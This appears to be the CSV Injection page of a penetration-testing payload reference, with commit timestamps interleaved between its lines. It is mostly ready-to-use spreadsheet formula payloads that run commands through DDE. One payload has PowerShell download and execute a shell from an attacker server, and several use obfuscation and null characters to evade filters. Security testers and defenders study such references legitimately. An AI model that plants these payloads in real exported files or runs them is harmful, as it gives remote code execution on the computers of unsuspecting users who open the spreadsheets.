PayloadsAllTheThings/CSV Injection/README.md

77 lines
2.8 KiB
Markdown
Raw Permalink Normal View History

2022-10-12 10:13:55 +00:00
# CSV Injection
2018-08-12 21:30:22 +00:00
2020-12-12 17:34:10 +00:00
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
2016-10-18 08:01:56 +00:00
2016-10-20 03:50:12 +00:00
## Exploit
2016-10-18 08:01:56 +00:00
2024-11-04 17:00:07 +00:00
Basic exploits with **Dynamic Data Exchange**.
Payload: pop a calc
2018-08-12 21:30:22 +00:00
```powershell
2016-10-20 03:50:12 +00:00
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
2019-06-16 21:45:52 +00:00
=2+5+cmd|' /C calc'!A0
2024-11-04 17:00:07 +00:00
```
2019-06-09 18:53:41 +00:00
2024-11-04 17:00:07 +00:00
Payload: pop a notepad
```powershell
=cmd|' /C notepad'!'A1'
2024-11-04 17:00:07 +00:00
```
Payload: powershell download and execute
2019-06-09 18:53:41 +00:00
2024-11-04 17:00:07 +00:00
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2024-11-04 17:00:07 +00:00
```
2019-06-09 18:53:41 +00:00
2024-11-04 17:00:07 +00:00
Payload: Prefix obfuscation and command chaining
2024-11-04 17:00:07 +00:00
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
2024-11-04 17:00:07 +00:00
```
Payload: Using rundll32 instead of cmd
2024-11-04 17:00:07 +00:00
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
2024-11-04 17:00:07 +00:00
```
2024-11-04 17:00:07 +00:00
Payload: Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
2024-11-04 17:00:07 +00:00
```powershell
= C m D | '/ c c al c . e x e ' ! A
2018-08-12 21:30:22 +00:00
```
2016-10-20 03:50:12 +00:00
2024-11-04 17:00:07 +00:00
Technical details of the above payloads:
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
2016-10-20 03:50:12 +00:00
2024-11-04 17:00:07 +00:00
2016-10-20 03:50:12 +00:00
Any formula can be started with
2018-08-12 21:30:22 +00:00
```powershell
2016-10-20 03:50:12 +00:00
=
+
@
2016-10-18 08:01:56 +00:00
```
2018-08-12 21:30:22 +00:00
2024-11-04 17:00:07 +00:00
## References
2022-08-15 05:45:33 +00:00
2024-11-04 17:00:07 +00:00
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
- [CSV Injection A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)